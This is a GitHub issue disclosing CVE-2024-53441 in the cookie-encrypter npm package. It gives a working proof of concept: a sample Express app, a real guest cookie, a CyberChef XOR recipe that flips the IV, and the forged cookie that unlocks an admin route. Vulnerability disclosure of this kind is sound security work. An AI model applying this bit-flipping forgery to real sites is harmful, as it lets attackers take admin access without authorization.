Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerable to bit flipping CVE-2024-53441 #9

Open
mathysEthical opened this issue Dec 6, 2024 · 0 comments
Open

Vulnerable to bit flipping CVE-2024-53441 #9

mathysEthical opened this issue Dec 6, 2024 · 0 comments

Comments

@mathysEthical
Copy link

cookie-encrypter Vulnerability

Let's imagine a website with the following source code:

const express = require('express');
const cookieParser = require('cookie-parser');
const cookieEncrypter = require('cookie-encrypter');
const app = express();

app.use(cookieParser("NicePasswordHereItIsAGoodSecret!"));
app.use(cookieEncrypter("NicePasswordHereItIsAGoodSecret!"));
 
app.get('/login', function(req, res) {
    res.cookie("role","guest")
    res.send("logged in as guest")
})

app.get("/admin",(req,res)=>{
    console.log(req.cookies)
    if(req.cookies.role=="admin"){
        res.send("Access granted.")
    }else{
        res.send("Access denied.")
    }
})

app.listen(80)

We load /login and get a cookie as guest:

e:87c3aa62cf38214f7c25d66eacb4c95a:9df91af30fafe915f3ef71069653d4c1

We now have to XOR the IV: 87c3aa62cf38214f7c25d66eacb4c95a

We xor it by guest and by admin to change do the bit flip attack, here is a link to help: https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'67756573740000000000000000000000'%7D,'Standard',false)XOR(%7B'option':'Hex','string':'61646d696e0000000000000000000000'%7D,'Standard',false)To_Hex('None',0)&input=ODdjM2FhNjJjZjM4MjE0ZjdjMjVkNjZlYWNiNGM5NWE

So we get the following crafted cookie:

e:81d2a278d538214f7c25d66eacb4c95a:9df91af30fafe915f3ef71069653d4c1

And now loading /admin we get: Access granted.

To reference this, use CVE-2024-53441

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant